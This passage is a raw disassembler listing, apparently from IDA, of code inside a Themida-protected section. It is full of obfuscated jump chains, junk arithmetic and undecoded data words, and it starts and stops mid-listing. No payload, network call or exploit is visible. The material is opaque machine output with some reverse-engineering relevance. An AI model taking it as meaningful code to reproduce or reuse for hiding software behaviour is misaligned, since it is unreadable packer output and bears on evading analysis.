57DE5883h shl ecx, 5 sub ecx, 74200BF5h sub esi, ecx pop ecx push esi sub dword ptr [esp], 1AA10E6Ch pop ebx push eax mov eax, 27DE0724h sub eax, 33CD5B60h not eax add eax, 20D46702h jmp loc_553B83 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0BD55E389h, 233F1BB6h, 2E8DCD81h, 0EDC160B5h, 8E5C106h dd 10BB534Dh, 81198346h, 783843CBh, 0BCE38143h, 811DA878h dd 56EE1CC3h, 5BDD3162h, 9BCFED81h, 87E9F503h db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E13: ; CODE XREF: Themida_:0056000Dj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax jmp loc_563571 ; --------------------------------------------------------------------------- db 55h dd 0FF35DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_563E31: ; CODE XREF: Themida_:005626AFj push ebx mov ebx, 0B35C152Ah jmp loc_564C4B ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 86E90000h, 0BBFFFFE1h, 60B247D6h dd 815EF331h, 4ECh, 243C8900h, 290E5ABFh, 0EFF7817Ch, 1683F1Eh dd 0E94B5FFBh, 1768h, 241C895Ch, 9E240481h, 58329876h dd 4EC81h, 99E90000h, 40FFFFA6h, 0FF23E9E9h, 4E983FFh dd 0E9240C87h, 0FFFF1705h, 4BBh, 883E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563EA2: ; CODE XREF: Themida_:0055FCF2j xor edi, 649B0F88h jmp loc_55E290 ; --------------------------------------------------------------------------- loc_563EAD: ; CODE XREF: Themida_:0055C80Bj mov [esp], ecx push eax mov eax, 27B83481h or eax, 3C6F2D45h dec eax jmp loc_56232F ; --------------------------------------------------------------------------- loc_563EC1: ; CODE XREF: Themida_:00552524j pop edi add esi, 4E2C6B8Bh jmp loc_561F27 ; --------------------------------------------------------------------------- loc_563ECD: ; CODE XREF: Themida_:00560429j push ebx mov ebx, esp add ebx, 4 push ebp jmp loc_55A2BB ; --------------------------------------------------------------------------- loc_563EDC: ; CODE XREF: Themida_:0055AD2Ej add edx, 0BB930003h jmp loc_55D094 ; --------------------------------------------------------------------------- db 68h dd 1C88h, 0FF4C28E9h db 0FFh ; --------------------------------------------------------------------------- loc_563EF1: ; CODE XREF: Themida_:0055800Dj shr eax, 0Bh jmp loc_5516B2 ; --------------------------------------------------------------------------- byte_563EF9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550D98o db '$h;',0Ah,0 align 2 dw 7DE9h dd 89FFFF7Bh, 4C181E1h, 0E9000000h, 0FFFF6B2Eh ; --------------------------------------------------------------------------- loc_563F14: ; CODE XREF: Themida_:00565A36j sub eax, edi pop edi not eax shl eax, 6 and eax, 0EA83099h xor eax, 22A73935h jmp loc_553D78 ; --------------------------------------------------------------------------- loc_563F2B: ; CODE XREF: Themida_:00558A93j pop eax sub edx, 4 xchg edx, [esp] jmp loc_55FC0D ; --------------------------------------------------------------------------- loc_563F3A: ; CODE XREF: Themida_:0055151Dj push 2D09h mov [esp], ebx jmp loc_5656F5 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4EE8300h, 31243433h, 7AE92434h, 81FFFF9Fh, 4C3h dd 4EB8300h, 0FF8CC1E9h, 80F300FFh, 148B4FC3h, 57066824h dd 1C890000h, 815B5424h, 4C3h, 0F5BD5500h, 8143C517h, 0C225ACC5h dd 9DED810Ch, 150873Dh, 1C875DEBh, 0BB535C24h, 6001248Eh dd 68h, 241C2900h, 0FF85B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_563FAD: ; CODE XREF: Themida_:00563167j mov [esp], ebp mov ebp, 24331C77h jmp loc_55F182 ; --------------------------------------------------------------------------- dw 0BD55h dd 4, 0FF8C86E9h db 0FFh ; --------------------------------------------------------------------------- loc_563FC5: ; CODE XREF: Themida_:00561138j push 4895h mov [esp], eax push 979h push esp pop dword ptr [esp] push edx push 2324h mov [esp], esi mov esi, 0B871184h sub esp, 4 jmp loc_558508 ; --------------------------------------------------------------------------- dd offset dword_457444+0D524h align 4 dd 4E168h, 24248900h, 0DF17E955h, 0C681FFFFh, 58DEE797h dd 6DBF5756h, 2939DD71h, 5F04247Ch, 0E068575Ah, 5F059D3Eh dd 5867EF81h, 0EF814621h, 859E750Ch, 0FF2864E9h, 81E389FFh dd 4C3h, 4EB8100h, 81000000h, 4ECh, 241C8900h, 42474FFh dd 83241C8Bh, 95E904C4h, 81FFFF7Fh, 0D012B9E9h, 50D10146h dd 0D012B9B8h, 58C10146h, 0FFA65CE9h, 58E620FFh, 0F0885066h dd 0EC81D0F6h, 4, 88241C89h, 5BDE88C3h, 0FFE126E9h, 240C89FFh dd 0FF2B47E9h, 4C481FFh, 87000000h, 248B240Ch, 14896624h dd 9C506624h, 0FECEBAE9h, 51952CFFh, 0FFA9E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5640AD: ; CODE XREF: Themida_:0055562Bj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_55D987 ; --------------------------------------------------------------------------- loc_5640C0: ; CODE XREF: Themida_:0055CDE2j pop edx push dword ptr [esp] pop eax add esp, 4 push 45A6h jmp loc_56123F ; --------------------------------------------------------------------------- loc_5640D5: ; CODE XREF: Themida_:00562B14j pop ebx shr ebx, 8 jmp loc_55148B ; --------------------------------------------------------------------------- dw 665Ah dd 8B66D831h, 0FFE9241Ch, 58FFFFC4h, 4C481h, 48F0000h dd 24248B24h, 2424D366h, 0CE5DE99Ch, 0F581FFFEh, 5D879FCEh dd 0D5E9EE89h, 51FFFED9h, 8904EC83h, 4812424h, 424h, 0C2E95900h db 6, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564123: ; CODE XREF: Themida_:005654B2j shr edx, 1 cmp eax, edx jmp loc_552A5E ; --------------------------------------------------------------------------- dd 8B241487h, 48B2424h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 8924248Bh, 58542404h, 0FFCF23E9h, 4DE95DFFh dd 89FFFF7Eh, 4C281E2h, 83000000h, 0F5E904C2h, 54FFFFE5h dd 5124048Fh, 4B9h, 244C0100h, 81595904h, 4C1h, 4B85000h dd 1000000h, 0C8758C1h, 89505C24h, 405E0h, 42D0000h, 33000000h dd 4312404h, 24043324h, 2414895Ch, 0FFA1FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5641A9: ; CODE XREF: Themida_:0055B2F1j push ecx mov ecx, 2FF5070Ch not ecx jmp loc_56361D ; --------------------------------------------------------------------------- loc_5641B6: ; CODE XREF: Themida_:0055D023j xchg ecx, [esp] mov esp, [esp] push eax push 24h pop eax add eax, edi push ebx push 0 pop ebx add ebx, eax add [ebx], ebp pop ebx mov eax, [esp] add esp, 4 mov ebp, [esp] add esp, 4 loc_5641E3: ; CODE XREF: Themida_:00557549j push 4752h mov [esp], ebx xor dword ptr [esp], 5EE77CD0h jmp loc_564D1F ; --------------------------------------------------------------------------- db 89h dd 0C9815DE9h, 298D7BC9h, 7E6EE981h, 0E1C1492Ah, 0A3F18106h dd 81186602h, 26A7A1C1h, 0E9C801CBh, 0FFFEFE00h ; --------------------------------------------------------------------------- loc_56421C: ; CODE XREF: Themida_:00562E76j xchg ebx, ecx jmp loc_551233 ; --------------------------------------------------------------------------- db 0B9h dd 53F4436h, 0FF416FE9h, 81DFF6FFh, 4ECh, 24148900h, 0D73001B2h dd 5BF8005Ah, 0FF9D0AE9h, 243489FFh, 0CA6AE954h, 5351FFFFh dd 5ADD6850h, 19E93F51h, 68FFFEF1h, 88F3A9Ch, 8B2434FFh dd 0C4832404h, 4C48304h, 0FF3E1DE9h, 0C6815EFFh, 4, 4C681h dd 34870000h, 0D8E95C24h, 1FFFECCh, 0D5EB81FBh, 0E93B6420h dd 0FFFF1EF4h, 0FFD13158h, 835A2434h, 0BF5704C4h, 377C4D3Fh dd 4E20BB53h, 0F381101Fh, 7324B755h, 0FFA0FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5642B5: ; CODE XREF: Themida_:005562CEj add edi, esi pop esi add edi, 4 xchg edi, [esp] jmp loc_55BA9C ; --------------------------------------------------------------------------- loc_5642C6: ; CODE XREF: Themida_:0055A1C3j push dword ptr [esp] pop edi add esp, 4 push ebx mov ebx, esp jmp loc_552AA8 ; --------------------------------------------------------------------------- loc_5642D8: ; CODE XREF: Themida_:0056571Ej push ebp mov ebp, esp add ebp, 4 push 605Bh mov [esp], edi push edx mov edx, 37202CB3h jmp loc_560D7D ; --------------------------------------------------------------------------- loc_5642F4: ; CODE XREF: Themida_:0055CE0Ej pop edx sub ecx, 1CE91DE2h sub edx, ecx jmp loc_553F87 ; --------------------------------------------------------------------------- dw 0EF81h dd 44037F2h, 8876F781h, 0F929158Eh, 0FFC7B9E9h, 36E281FFh dd 0F71B7D73h, 0E9D2F7D2h, 0FFFF6658h, 17EB805Ah, 8051EB80h dd 0C32826EBh, 8026C380h, 2E951C3h db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56433B: ; CODE XREF: Themida_:00554821j mov ebx, ebp jmp loc_561AA9 ; --------------------------------------------------------------------------- loc_564342: ; CODE XREF: Themida_:00560056j add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_55DBA2 ; --------------------------------------------------------------------------- loc_564357: ; CODE XREF: Themida_:0055136Dj push ebp jmp loc_554832 ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 5 dd 0E903E5C1h, 0FFFEE04Eh ; --------------------------------------------------------------------------- loc_564368: ; CODE XREF: Themida_:005599B2j sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], esi push 400h push dword ptr [esp] jmp loc_558206 ; --------------------------------------------------------------------------- db 5Fh, 89h, 0FEh dd 0C6814E5Fh, 0F54404Fh, 5003EEC1h, 648FBB53h, 0EB817D47h dd 2376783Ch, 56C1F381h, 95E94841h, 57FFFF2Fh, 143677BFh dd 0BB3EE94Ch, 0EC83FFFFh, 4067E902h, 6855FFFFh, 731F33FBh dd 0F3E9455Dh, 5BFFFFBBh, 5271B450h, 12E4E9h, 0D5895500h dd 8B5DEE89h, 89512414h, 0B4C3E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643E2: ; CODE XREF: Themida_:0055282Bj push dword ptr [esp] jmp loc_564DF1 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0FF319AE9h, 0EC8351FFh, 24248904h, 4240483h dd 0E9240C8Bh, 0FFFF274Ch, 5EBC159h, 0E904EC83h, 0FFFF1D1Bh ; --------------------------------------------------------------------------- loc_564414: ; CODE XREF: Themida_:0055DDA3j pop edi and eax, edi push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax jmp loc_55D028 ; --------------------------------------------------------------------------- dw 0D701h dd 4EC815Ah, 89000000h, 0BE562414h, 4, 34FFF289h, 0C4815E24h dd 4, 575AD701h, 42474FFh, 24048F5Fh, 0FF24248Bh, 2DE92434h dd 29FFFFDAh, 1113E9F2h, 5166FFFFh, 0CE2824B1h, 0F0285966h dd 0E924148Bh, 0FFFF3E5Ch, 24048F58h, 0CACDE95Ch, 0F753FFFEh dd 815B2414h, 9549B0C3h, 2BF1683Dh, 2C890000h, 38AC6824h dd 76E91781h, 29FFFFF5h, 0C2295BDAh, 0FF36F4E9h, 4EC83FFh dd 89241489h, 4C281E2h, 83000000h, 148704C2h, 68AAE924h dd 0F4B3FFFFh, 0C002EBC0h, 0BE903E3h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5644DF: ; CODE XREF: Themida_:00553D2Ej add ebp, 4 xchg ebp, [esp] pop esp add ebx, 4 add ebx, 4 jmp loc_55B008 ; --------------------------------------------------------------------------- loc_5644F7: ; CODE XREF: Themida_:00556430j pop ecx add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_5535D1 ; --------------------------------------------------------------------------- dd 348BF329h, 4C48324h, 83E9D801h, 1000010h, 34B951F7h dd 2963304Dh, 335E59CFh, 3EE9243Ch, 53FFFF5Ah, 8850E388h dd 58C688D8h, 3268585Bh, 0E900003Fh, 0FFFEF0DBh, 4C481h dd 0D9280000h, 22F1805Bh, 6AE9D9F6h db 0E5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564553: ; CODE XREF: Themida_:00554C3Dj add esi, 6EB2E309h and edx, esi jmp loc_55702C ; --------------------------------------------------------------------------- dword_564560 dd 6824048Bh, 75B1h, 54241489h, 0FEE0C9E9h, 50ED81FFh ; DATA XREF: Themida_:00550EDCo dd 296A5109h, 0EAB8E9DDh, 0C483FFFEh, 0A6E95304h, 5DFFFFFAh dd 8247C01h, 2454295Fh, 601AE904h, 0CDB3FFFFh, 0FF7E3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56459D: ; CODE XREF: Themida_:0055ED9Dj push 6404h mov [esp], eax push 7E900530h push dword ptr [esp] mov eax, [esp] add esp, 4 push 4AEh mov [esp], ebp mov ebp, esp add ebp, 4 push edx jmp loc_55A872 ; --------------------------------------------------------------------------- db 5, 35h, 5Fh dd 0E95F2FA6h, 0FFFF9473h, 1D71E981h, 0F181102Ch, 37EB3ECDh dd 756EBB53h, 0E0E961EBh, 4EFFFF84h, 91E9DEF7h, 0BFFFFF8Ch dd 1E54224Bh, 3806C781h, 0F921E5EDh, 0E6C1815Fh, 21624FD4h dd 0F78759CFh, 0FF3552E9h, 0E95D5BFFh, 0FFFFD603h, 0EE9E689h dd 0BDFFFFD8h, 2B6A227Eh, 53CD814Dh, 4D00477Eh, 0EC83DD87h dd 241C8904h, 5B2414F7h, 0F581DD87h, 0E436EC7Eh, 0D15DEB29h dd 0C3814BE3h, 69041C44h, 0FFB0A5E9h, 0AE956FFh db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564657: ; CODE XREF: Themida_:005598C9j add esp, 4 add esp, 4 push ebp push edi mov edi, 45261378h mov ebp, 784F3E79h sub ebp, edi jmp loc_561DEA ; --------------------------------------------------------------------------- loc_564676: ; CODE XREF: Themida_:00562EB2j add ebp, 4 push edi jmp loc_5525C6 ; --------------------------------------------------------------------------- word_564682 dw 34FFh ; DATA XREF: Themida_:00550D88o dd 240C8B24h, 0FF0119E9h, 52F929FFh, 6C1668h, 24348900h dd 0A0638268h, 0EE815E45h, 24F6AC5h, 0FF3E0CE9h, 8EC281FFh dd 5624634Bh, 5C1571BEh, 1BCE813Dh, 811DB131h, 8D2D74EEh dd 2BEBE9C3h, 34FFFFFFh, 20BB5387h, 2920CC03h, 5B04245Ch dd 0C0E6858h, 34890000h, 684FBE24h, 0BB537592h, 555E6B6Fh dd 15BDE31h, 2434FFF0h, 0FF2434FFh, 0E95E2434h, 0FFFF24BFh dd 0F9D56856h, 15E98E2h, 0D1685EF0h, 89000056h, 0C589242Ch dd 0E95DEB89h, 0FFFEF18Ah, 0B8240489h, 20403AA4h, 0FF9694E9h dd 5BDD01FFh, 0FEDA42E9h, 240489FFh, 88FD8851h, 0C18859E8h dd 874C8858h, 34FF5901h, 0A8E95B24h, 68FFFF86h, 1692h dd 0BD242C89h, 74AF1222h, 0E95DEF29h, 0FFFEE8B5h ; --------------------------------------------------------------------------- loc_56475C: ; CODE XREF: Themida_:00560D96j add ebx, 4 add ebx, 4 jmp loc_5653C6 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFFFD62h ; --------------------------------------------------------------------------- loc_564770: ; CODE XREF: Themida_:00563155j pop eax pop edx or eax, 1D8B363Ah xor eax, 182B2BCFh add eax, 0D85FE2D4h jmp loc_56124F ; --------------------------------------------------------------------------- loc_564786: ; CODE XREF: Themida_:00558A58j add ebp, 4 add ebp, 4 jmp loc_55530C ; --------------------------------------------------------------------------- dd 0E951CF88h, 0FFFFAB23h, 34FFFA20h, 850E924h, 0C381FFFFh dd 4, 4EB81h, 1C870000h, 1C895C24h, 565B5424h, 11570568h dd 0EC835E61h, 241C8904h, 0BF4863BBh, 5BDE0934h, 5FA1E953h db 2 dup(0FFh) word_5647D6 dw 9D68h ; DATA XREF: Themida_:00550DC4o dd 89000008h, 0E189240Ch, 15576853h, 1C8B33DBh, 4C48124h dd 0E9000000h, 0FFFFDE26h, 5504C483h, 171B6853h, 0F75B7C00h dd 0E0B850D3h, 0E983FFE8h, 0FFFED930h ; --------------------------------------------------------------------------- loc_56480C: ; CODE XREF: Themida_:005552F7j inc ebx shl ebx, 1 jmp loc_55AFAA ; --------------------------------------------------------------------------- dd 8324048Bh, 0C78004C4h, 1BAAE9DEh, 685CFFFFh, 72A8h dd 0BE243489h, 30B827D7h, 0D2EE814Eh, 130B827h, 0A163E9F5h dd 5166FFFFh, 0C719E99Ch, 835AFFFEh, 48702C0h, 0C7B3E924h dd 0E8C1FFFFh, 31C83108h, 0E9C231D0h, 0FFFED602h, 5E2434FFh dd 0D490E956h, 0EC80FFFEh, 0FC00E94Dh, 895CFFFEh, 8B542434h dd 89522434h, 5B6D68E2h, 0C890000h, 4A53B924h, 8141682Dh dd 0C476B8C9h, 0CAE9812Bh, 513FEB57h, 0F7240C87h, 240C87D1h dd 81240C8Bh, 4C4h, 0F8BBE900h db 0FEh, 0FFh word_5648AE dw 34FFh ; DATA XREF: Themida_:00550D6Co dd 0EC835924h, 24348904h, 0C681E689h, 4, 0FF26D3E9h, 0C875AFFh dd 0C8855C24h, 0C68DE99Ch, 1C89FFFEh, 0C7F2E924h, 0D366FFFFh dd 0E99C2404h, 0FFFEC67Bh, 841FE95Ch, 0C181FFFFh, 71EA2EEBh dd 5705E9C1h, 4B3F5CBFh, 0C4EF8160h, 31F3DE51h, 0CF295FF9h dd 5A40559h, 0F801279Fh, 9F05A42Dh, 243C8B27h, 4C481h dd 0C0830000h, 24048704h, 7EE9525Ch, 8900000Bh, 814A58C2h dd 92EB3C2h, 0FCC28128h, 1823D8Bh, 42D5AD0h, 87000000h dd 895C2404h, 2CBF243Ch, 4F2F131Eh, 0D5F7EF87h, 6DE9EF87h db 0FBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564957: ; CODE XREF: Themida_:loc_55FFFDj xor ebp, esi xor esi, ebp xor ebp, esi shr ebp, 4 jmp loc_5530D1 ; --------------------------------------------------------------------------- db 0B9h, 5Dh, 72h dd 0D9F72A96h, 0C107E9C1h, 0F18105E1h, 37541A42h, 5507E1C1h dd 9F5CFEBDh, 3EDC128h, 0D5F7DDF7h, 12E9D5F7h, 1FFFF30h dd 89565EF0h, 4C681E6h, 81000000h, 4EEh, 0BFEAE900h, 0E1C1FFFFh dd 4174E902h, 0D668FFFFh, 5B6EA756h, 4AD0E381h, 0E38114C0h dd 516763B2h, 0BD71C381h, 0DF89FFFFh, 0A24DE95Bh, 0EF81FFFFh dd 6DB51BEDh, 0C781D701h, 6DB51BEDh, 8124148Bh, 4C4h, 4C78100h dd 57000000h, 42474FFh, 0FF0BD3E9h, 5FFD01FFh, 0FF4999E9h db 0FFh ; --------------------------------------------------------------------------- loc_5649FD: ; CODE XREF: Themida_:0055D8EEj pop eax add esp, 4 add eax, 4 push edx push ebp push 27034240h pop ebp jmp loc_55674F ; --------------------------------------------------------------------------- loc_564A16: ; CODE XREF: Themida_:00561C99j or ebp, 4EC1596Bh jmp loc_55B9FC ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 0FF1F42E9h, 9BD55FFh, 0E92C8431h, 0FFFFDC9Fh ; --------------------------------------------------------------------------- loc_564A34: ; CODE XREF: Themida_:00560FEBj mov al, 0D9h push ebx mov bl, 16h dec bl xor bl, 94h xor al, bl pop ebx push edx mov dh, al mov cl, dh jmp loc_560D90 ; --------------------------------------------------------------------------- byte_564A4B db 8Bh ; DATA XREF: Themida_:00550E20o dd 79E9240Ch, 5EFFFF51h, 9A3CE81h, 0BA524891h, 359239F3h dd 0FFA38FE9h, 0CE815EFFh, 4CDD28EDh, 4358C681h, 0F7965B54h dd 1DE996D0h db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A7B: ; CODE XREF: Themida_:0055BA60j add esp, 4 jmp loc_5604BB ; --------------------------------------------------------------------------- loc_564A83: ; CODE XREF: Themida_:00564E33j pop eax add eax, 49DE2577h jmp loc_5522EC ; --------------------------------------------------------------------------- loc_564A8E: ; CODE XREF: Themida_:0055534Aj mov edi, 72F014B9h add ecx, edi jmp loc_55F39A ; --------------------------------------------------------------------------- dw 0EA81h dd 669F793h, 0FEC5A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_564AA5: ; CODE XREF: Themida_:0055B7ADj add esp, 4 xchg esi, [esp] pop esp push 3EA6h mov [esp], ecx jmp loc_553DA4 ; --------------------------------------------------------------------------- loc_564AB9: ; CODE XREF: Themida_:00563C8Bj pop esp add ecx, 464F0F0Fh jmp loc_555552 ; --------------------------------------------------------------------------- db 89h, 0E0h, 55h dd 28796ABDh, 4D454545h, 0FF8F9AE9h, 0FFC681FFh, 1536F2Eh dd 0BD555EF1h, 4D596548h, 1206ED81h, 0E5C15E9Ch, 0EE5BE903h dd 0F781FFFFh, 0F99BB558h, 0D6E9FD89h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_564AFF: ; CODE XREF: Themida_:00553B06j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_5531C1 ; --------------------------------------------------------------------------- loc_564B0E: ; CODE XREF: Themida_:00551079j mov edi, 63B82526h mov ebp, edi pop edi inc ebp not ebp shl ebp, 4 shr ebp, 7 dec ebp add ebp, 924B372h add ebp, esi jmp loc_554FA1 ; --------------------------------------------------------------------------- db 81h, 0C7h, 6Eh dd 515C5108h, 93D3FB9h, 59CF014Eh, 0E2CF814Fh, 8166EF00h dd 0B1448DE7h, 4EF78112h, 68784F01h, 2F5Eh, 0B9240C89h dd 5E6B5C94h, 0FFFD89E9h, 68F029FFh, 7472h dword_564B68 dd 0FF0C1AE9h ; DATA XREF: Themida_:00553D07o db 0FFh ; --------------------------------------------------------------------------- loc_564B6D: ; CODE XREF: Themida_:00555C13j push esi mov esi, 4 jmp loc_556D59 ; --------------------------------------------------------------------------- dd 81243C89h, 4ECh, 24248900h, 4BE56h, 74010000h, 0FF5E0424h dd 3C8B2434h, 4C48124h, 81000000h, 4C4h, 0A6685000h, 89000000h dd 1EBF243Ch, 0E97D1374h, 0FFFFB804h, 6808E7C1h, 31EFh dd 0BE243489h, 7D39132Ch, 348BF721h, 4C48324h, 47F76851h dd 5BE961CEh db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BD7: ; CODE XREF: Themida_:00554576j mov ebx, 79B80A01h add ebx, 25663281h inc ebx sub ebx, 66D1CC29h sub ebp, ebx pop ebx dec ebp jmp loc_5541D9 ; --------------------------------------------------------------------------- dw 405h dd 50000000h, 42474FFh, 8124048Bh, 4C4h, 24048F00h, 0FFB119E9h dd 5D0F7FFh, 0DC20CCCh, 695A402Dh, 0E9D8F706h, 0FFFFDA21h dd 31240C33h, 0C33240Ch, 87685C24h, 89000002h, 0E2892414h dd 4C281h, 0C2830000h, 9F95E904h, 5B66FFFFh, 0FDE95052h db 0D2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564C4B: ; CODE XREF: Themida_:00563E37j sub esi, ebx pop ebx neg esi jmp loc_55E64E ; --------------------------------------------------------------------------- byte_564C55 db 66h, 0ADh, 53h ; DATA XREF: Themida_:00550D70o dd 0FF084CE9h db 0FFh ; --------------------------------------------------------------------------- loc_564C5D: ; CODE XREF: Themida_:005654BFj mov [esp], ebx jmp loc_556E44 ; --------------------------------------------------------------------------- loc_564C65: ; CODE XREF: Themida_:005573E0j add dword ptr [ebx], 1 pop ebx mov eax, [esp] add esp, 4 pop ecx mov eax, [esp] add esp, 4 loc_564C7F: ; CODE XREF: Themida_:0055C0EFj sub esp, 4 jmp loc_5526C4 ; --------------------------------------------------------------------------- dw 0CD81h dd 49C32433h, 0FF3AA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_564C95: ; CODE XREF: Themida_:005598D1j push edi push esp jmp loc_558A75 ; --------------------------------------------------------------------------- loc_564C9C: ; CODE XREF: Themida_:0055BF7Cj mov [esp], ebp push ecx mov ecx, 4CD62989h jmp loc_55EFC2 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFECCF7h, 36E9C289h, 5DFFFF7Ch, 0FF7824E9h db 0FFh ; --------------------------------------------------------------------------- loc_564CBD: ; CODE XREF: Themida_:00557DE2j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov eax, [esp] jmp loc_554A8A ; --------------------------------------------------------------------------- loc_564CCF: ; CODE XREF: Themida_:0055267Cj mov [esp], ebx jmp loc_562B0F ; --------------------------------------------------------------------------- db 89h dd 67E9243Ch, 30FFFFBBh, 0C8B66C8h, 4EC8124h, 89000000h dd 0E789243Ch, 4C781h, 0CBE90000h db 0C5h, 0FEh, 0FFh byte_564CFB db 8Bh ; DATA XREF: Themida_:00550E34o dd 1C68240Ch, 89000014h, 0E589242Ch, 4C581h, 93680000h dd 0E900007Ah, 0FFFF86D7h, 0D8E9C801h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D1F: ; CODE XREF: Themida_:005641F2j pop eax sub esp, 4 mov [esp], ebx push eax jmp loc_562A44 ; --------------------------------------------------------------------------- db 33h dd 0BAE9242Ch db 0D6h, 2 dup(0FFh) byte_564D37 db 66h ; DATA XREF: Themida_:00550DDCo dd 0E924248Bh, 0FFFEC21Fh, 0E557DBEh, 0A03E922h, 7804FFFFh dd 782CE828h, 4C82859h, 0EB805991h, 7DF0E90Bh, 0ED81FFFFh dd 43C1E172h, 0A0E9E889h db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D6B: ; CODE XREF: Themida_:0055B2E6j pop esp or edx, eax shl edx, 1 push edx mov edx, esp jmp loc_552671 ; --------------------------------------------------------------------------- loc_564D78: ; CODE XREF: Themida_:0055A0C5j not edi xor edi, 49A42284h or edi, 729C5886h xor edi, 0ED53C8DFh xor edx, edi jmp loc_55CA2E ; --------------------------------------------------------------------------- db 5Ah dd 5C243C87h, 4268C381h, 564B5D41h, 235BA52h, 50BE134Bh dd 292F4152h, 24148BD6h, 4C481h, 4EE90000h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DBB: ; CODE XREF: Themida_:0055E92Ej pop esp jmp loc_562B44 ; --------------------------------------------------------------------------- loc_564DC1: ; CODE XREF: Themida_:00553F1Fj pop eax sub eax, 3CFB2269h shr eax, 6 jmp loc_55FE8C ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 0FFBD2AE9h db 0FFh ; --------------------------------------------------------------------------- loc_564DDD: ; CODE XREF: Themida_:0055D5C3j push edi jmp loc_557273 ; --------------------------------------------------------------------------- db 59h dd 5EF0015Ah, 5C240487h, 0FEC16EE9h db 0FFh ; --------------------------------------------------------------------------- loc_564DF1: ; CODE XREF: Themida_:005643E5j pop ebp push ecx mov ecx, esp push ebx mov ebx, 3A180CB0h push edx mov edx, 669D1A6Eh jmp loc_565021 ; --------------------------------------------------------------------------- dw 15Ch dd 2434FFC5h, 4C48358h, 8B242C87h, 0D3662424h, 0E99C240Ch dd 0FFFF21BDh, 3968D4B0h, 0E900002Ch, 0FFFFDF44h ; --------------------------------------------------------------------------- loc_564E2C: ; CODE XREF: Themida_:0055775Bj xor eax, 7DFCD816h xor ebx, eax jmp loc_564A83 ; --------------------------------------------------------------------------- dd 5DE9F828h db 0C3h, 2 dup(0FFh) byte_564E3F db 66h ; DATA XREF: Themida_:00550D9Co dd 6824048Bh, 7A98h, 89240489h, 0B85052E0h, 551E7D12h dd 0E182F2BAh, 9181E9AAh, 668FFFFh, 89000071h, 0F1B5240Ch dd 74916866h, 240C8966h, 0FF92D9E9h, 0C68852FFh, 885AF588h dd 240C8BEBh, 5004C483h, 33E9DC88h, 87FFFFCAh, 0E95C2414h dd 0FFFF8CD8h, 4EC815Ah, 89000000h, 2BA2414h, 81000000h dd 166FB2EBh, 81D30114h, 166FB2C3h, 2434FF14h, 2865E95Ah dd 0E6C1FFFFh, 2E6C106h, 5F04BF57h, 0FE3167DAh, 5EF1015Fh dd 0E9240C87h, 0FFFFD7E0h, 89241489h, 4BE56E2h, 1000000h dd 24348BF2h, 4C481h, 39E90000h db 0CCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564EEF: ; CODE XREF: Themida_:005555FAj add esi, edx pop edx sub esi, 2F4B7891h sub ebx, esi jmp loc_56140D ; --------------------------------------------------------------------------- db 1 dd 4FC181C1h, 81172569h, 254654E9h, 24048B72h, 5104C483h dd 0FECBEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_564F19: ; CODE XREF: Themida_:005512A8j mov eax, [esp] add esp, 4 jmp loc_55420F ; --------------------------------------------------------------------------- dd 8904EC83h, 7BE9240Ch, 80FFFEDEh, 0F9E9C7F7h, 89FFFED8h dd 405E0h, 0EC830000h, 243C8904h, 0FEC93BE9h, 0E08950FFh dd 0FF0234E9h, 2474FFFFh, 2BE95A04h, 0F6000003h, 0E9DFF6D7h dd 0FFFEF79Fh ; --------------------------------------------------------------------------- loc_564F64: ; CODE XREF: Themida_:00557027j mov edi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_55532E ; --------------------------------------------------------------------------- loc_564F75: ; CODE XREF: Themida_:00561D3Fj push dword ptr [esp] pop esi jmp loc_555DFF ; --------------------------------------------------------------------------- dw 489h dd 2474FF24h, 48F5804h, 1955E924h, 3B68FFFFh, 89000066h dd 12E92434h, 5BFFFF04h, 4C381h, 0C3810000h, 4, 31241C33h dd 1C33241Ch, 0C267E924h, 3489FFFEh, 